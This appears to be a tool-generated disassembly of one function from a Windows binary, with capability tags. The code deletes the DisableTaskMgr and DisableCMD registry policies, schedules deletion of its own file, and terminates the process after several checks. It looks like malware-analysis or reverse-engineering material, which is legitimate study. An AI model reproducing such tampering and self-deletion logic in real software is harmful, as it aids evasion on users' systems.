Function at 0x408170
Capabilities:
Delete registry value
Get session user name
Move file
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2a8
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x50]
push eax
push 0x49a5a8
mov dword [esp + 0x58], 0x400
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
push 6
xor ebp, ebp
push ebp
call dword [sym.imp.ole32.dll_CoInitializeEx]
call fcn.00407f70
push 0x14
call fcn.00401360
add esp, 4
push 9
call fcn.00401360
add esp, 4
push 8
call fcn.00401360
add esp, 4
push 0x11
call fcn.00401360
add esp, 4
push 0x12
call fcn.00401360
add esp, 4
push 0x8003
call dword [sym.imp.KERNEL32.DLL_SetErrorMode]
push 0x400
push 0x49adb0
push ebp
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
test eax, eax
je 0x408236
push 0x400
push 0x49b5b0
push 0x49adb0
call dword [sym.imp.SHLWAPI.dll_PathUnExpandEnvStringsW]
test eax, eax
jne 0x408236
jmp 0x408220
movzx ecx, word [eax + 0x49adb0]
mov word [eax + 0x49b5b0], cx
add eax, 2
cmp cx, bp
jne 0x408220
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x1c]
push edx
push ebp
push 0xf013f
push ebp
push ebp
push ebp
push str.SoftwareMicrosoftWindowsCurrentVersionPolicies_system
push closesocket
mov dword [esp + 0x48], ebp
mov dword [esp + 0x3c], ebp
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x408286
mov eax, dword [esp + 0x18]
push str.DisableTaskMgr
push eax
call edi
mov ecx, dword [esp + 0x18]
push ecx
call ebx
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x1c]
push eax
push ebp
push 0xf013f
push ebp
push ebp
push ebp
push str.SoftwarePoliciesMicrosoftWindowsSystem
push closesocket
call esi
test eax, eax
jne 0x4082bc
mov ecx, dword [esp + 0x18]
push str.DisableCMD
push ecx
call edi
mov edx, dword [esp + 0x18]
push edx
call ebx
lea eax, [esp + 0x34]
push eax
call fcn.004043f0
add esp, 4
cmp dword [esp + 0x4c], 8
jb 0x4082dd
mov ecx, dword [esp + 0x38]
push ecx
call fcn.00416c71
add esp, 4
push 0xc
call fcn.00416da8
add esp, 4
cmp eax, ebp
je 0x4082fa
mov ecx, eax
call fcn.00412f20
mov edi, eax
mov dword [esp + 0x30], eax
jmp 0x408300
xor edi, edi
mov dword [esp + 0x30], edi
push 4
call fcn.00416da8
mov esi, eax
add esp, 4
cmp esi, ebp
je 0x408325
mov eax, dword [edi + 8]
mov dword [esi], eax
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.DLL_InterlockedIncrement]
mov dword [esp + 0x28], esi
jmp 0x408329
mov dword [esp + 0x28], ebp
push 4
call fcn.00416da8
mov esi, eax
add esp, 4
cmp esi, ebp
je 0x40835a
mov ecx, edi
lea eax, [esp + 0xa8]
call fcn.0040a880
mov edx, dword [eax + 4]
mov eax, dword [eax]
push edx
push eax
push esi
call fcn.0040a890
mov dword [esp + 0x2c], eax
jmp 0x40835e
mov dword [esp + 0x2c], ebp
push 0x206
lea edx, [esp + 0xb6]
xor ecx, ecx
push ebp
push edx
mov word [esp + 0xbc], cx
call fcn.00418830
add esp, 0xc
push 0x104
lea eax, [esp + 0xb4]
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push 4
push ebp
lea ecx, [esp + 0xb8]
push ecx
call dword [sym.imp.KERNEL32.DLL_MoveFileExW]
push ebp
call fcn.00403d00
add esp, 4
push ebp
call fcn.00403d00
add esp, 4
push ebp
call fcn.00403d00
add esp, 4
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 1
call fcn.00403d00
add esp, 4
call fcn.00404a80
mov ecx, dword [0x49c040]
sub ecx, dword [0x49c03c]
mov esi, dword [0x49c088]
mov edi, dword [0x49c084]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x40846f
mov ecx, esi
sub ecx, edi
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x40846f
mov ecx, dword [0x49c058]
sub ecx, dword [0x49c054]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x40846f
mov ecx, dword [0x49c070]
sub ecx, dword [0x49c06c]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x40846f
cmp dword [0x496e08], ebp
jne 0x40846f
push ebp
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
xor edx, edx
mov dword [esp + 0x68], ebp
mov dword [esp + 0x6c], 7
mov word [esp + 0x58], dx
mov ebp, edi
cmp edi, esi
jbe 0x408499
call fcn.00417536
mov esi, dword [0x49c088]
mov edi, dword [0x49c084]
mov ebx, dword [0x49c078]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x14], esi
cmp edi, esi
jbe 0x4084b0
call fcn.00417536
mov edi, dword [0x49c078]
test ebx, ebx
je 0x4084be
cmp ebx, edi
je 0x4084c3
call fcn.00417536
cmp ebp, dword [esp + 0x14]
je 0x40853b
test ebx, ebx
jne 0x408533
call fcn.00417536
cmp ebp, dword [ebx + 0x10]
jb 0x4084dc
call fcn.00417536
push ebp
mov ebx, str._n_n_n_n
lea esi, [esp + 0x38]
call fcn.0040a750
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x5c]
call fcn.00413910
cmp dword [esp + 0x4c], 8
jb 0x408511
mov eax, dword [esp + 0x38]
push eax
call fcn.00416c71
add esp, 4
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x408537
call fcn.00417536
xor eax, eax
cmp ebp, dword [eax + 0x10]
jb 0x40852a
call fcn.00417536
mov ebx, dword [esp + 0x1c]
add ebp, 0x1c
jmp 0x4084b6
mov ebx, dword [ebx]
jmp 0x4084d2
mov eax, dword [eax]
jmp 0x408520
cmp dword [esp + 0x68], 0
je 0x408552
push 1
push 0x48ab14
lea eax, [esp + 0x5c]
call fcn.00413a20
mov ecx, dword [0x49c06c]
mov eax, dword [0x49c070]
mov edi, ecx
cmp ecx, eax
jbe 0x408573
call fcn.00417536
mov eax, dword [0x49c070]
mov ecx, dword [0x49c06c]
mov ebp, dword [0x49c060]
mov dword [esp + 0x14], eax
cmp ecx, eax
jbe 0x408586
call fcn.00417536
mov ecx, dword [0x49c060]
mov dword [esp + 0x1c], ecx
test ebp, ebp
je 0x40859a
cmp ebp, dword [esp + 0x1c]
je 0x40859f
call fcn.00417536
cmp edi, dword [esp + 0x14]
je 0x408613
test ebp, ebp
jne 0x408609
call fcn.00417536
xor eax, eax
cmp edi, dword [eax + 0x10]
jb 0x4085ba
call fcn.00417536
push edi
mov ebx, 0x48ab18
lea esi, [esp + 0x38]
call fcn.0040a750
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x5c]
call fcn.00413910
cmp dword [esp + 0x4c], 8
jb 0x4085ef
mov edx, dword [esp + 0x38]
push edx
call fcn.00416c71
add esp, 4
test ebp, ebp
jne 0x40860e
call fcn.00417536
xor eax, eax
cmp edi, dword [eax + 0x10]
jb 0x408604
call fcn.00417536
add edi, 0x1c
jmp 0x408590
mov eax, dword [ebp]
jmp 0x4085b0
mov eax, dword [ebp]
jmp 0x4085fa
cmp dword [esp + 0x68], 0
je 0x40864d
push 0x3b
push 0x48ab20
mov eax, 0x496df4
call fcn.00413a20
push 0
lea eax, [esp + 0x58]
push eax
or eax, 0xffffffff
mov esi, 0x496df4
call fcn.00413910
push 0x3b
push str._n_n_n
mov eax, esi
call fcn.00413a20
mov eax, dword [0x49c040]
xor ecx, ecx
mov word [esp + 0x74], cx
mov ecx, dword [0x49c03c]
mov dword [esp + 0x88], 7
mov dword [esp + 0x84], 0
mov edi, ecx
cmp ecx, eax
jbe 0x40868b
call fcn.00417536
mov eax, dword [0x49c040]
mov ecx, dword [0x49c03c]
mov ebp, dword [0x49c030]
mov dword [esp + 0x14], eax
cmp ecx, eax
jbe 0x40869e
call fcn.00417536
mov edx, dword [0x49c030]
mov dword [esp + 0x1c], edx
test ebp, ebp
je 0x4086b2
cmp ebp, dword [esp + 0x1c]
je 0x4086b7
call fcn.00417536
cmp edi, dword [esp + 0x14]
je 0x40872b
test ebp, ebp
jne 0x408721
call fcn.00417536
xor eax, eax
cmp edi, dword [eax + 0x10]
jb 0x4086d2
call fcn.00417536
push edi
mov ebx, 0x48ab1c
lea esi, [esp + 0x38]
call fcn.0040a750
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x78]
call fcn.00413910
cmp dword [esp + 0x4c], 8
jb 0x408707
mov eax, dword [esp + 0x38]
push eax
call fcn.00416c71
add esp, 4
test ebp, ebp
jne 0x408726
call fcn.00417536
xor eax, eax
cmp edi, dword [eax + 0x10]
jb 0x40871c
call fcn.00417536
add edi, 0x1c
jmp 0x4086a8
mov eax, dword [ebp]
jmp 0x4086c8
mov eax, dword [ebp]
jmp 0x408712
cmp dword [esp + 0x84], 0
je 0x408745
push 1
push 0x48ac10
lea eax, [esp + 0x78]
call fcn.00413a20
mov ecx, dword [0x49c054]
mov eax, dword [0x49c058]
mov edi, ecx
cmp ecx, eax
jbe 0x408766
call fcn.00417536
mov eax, dword [0x49c058]
mov ecx, dword [0x49c054]
mov ebp, dword [0x49c048]
mov dword [esp + 0x14], eax
cmp ecx, eax
jbe 0x408779
call fcn.00417536
mov ecx, dword [0x49c048]
mov dword [esp + 0x1c], ecx
test ebp, ebp
je 0x40878d
cmp ebp, dword [esp + 0x1c]
je 0x408792
call fcn.00417536
cmp edi, dword [esp + 0x14]
je 0x408806
test ebp, ebp
jne 0x4087fc
call fcn.00417536
xor eax, eax
cmp edi, dword [eax + 0x10]
jb 0x4087ad
call fcn.00417536
push edi
mov ebx, 0x48ac14
lea esi, [esp + 0x38]
call fcn.0040a750
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x78]
call fcn.00413910
cmp dword [esp + 0x4c], 8
jb 0x4087e2
mov edx, dword [esp + 0x38]
push edx
call fcn.00416c71
add esp, 4
test ebp, ebp
jne 0x408801
call fcn.00417536
xor eax, eax
cmp edi, dword [eax + 0x10]
jb 0x4087f7
call fcn.00417536
add edi, 0x1c
jmp 0x408783
mov eax, dword [ebp]
jmp 0x4087a3
mov eax, dword [ebp]
jmp 0x4087ed
cmp dword [esp + 0x84], 0
je 0x408843
push 0x3a
push 0x48ac18
mov eax, 0x496df4
call fcn.00413a20
push 0
lea eax, [esp + 0x74]
push eax
or eax, 0xffffffff
mov esi, 0x496df4
call fcn.00413910
push 0x3a
push str._nM_n_n
mov eax, esi
call fcn.00413a20
cmp dword [0x496e08], 0
jne 0x408854
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
call fcn.00404570
test al, al
je 0x408865
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
call fcn.00404710
test al, al
jne 0x408876
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 2
push 0x48ad08
lea ecx, [esp + 0x94]
mov dword [esp + 0xac], 0xf
mov dword [esp + 0xa8], 0
mov byte [esp + 0x98], 0
call fcn.00414a50
lea ecx, [esp + 0x34]
push ecx
call fcn.00401070
add esp, 4
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esp + 0x98]
call fcn.00415440
cmp dword [esp + 0x4c], 0x10
jb 0x4088d9
mov edx, dword [esp + 0x38]
push edx
call fcn.00416c71
add esp, 4
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x30]
push eax
push ecx
push edx
lea ecx, [esp + 0x98]
call fcn.00401410
int3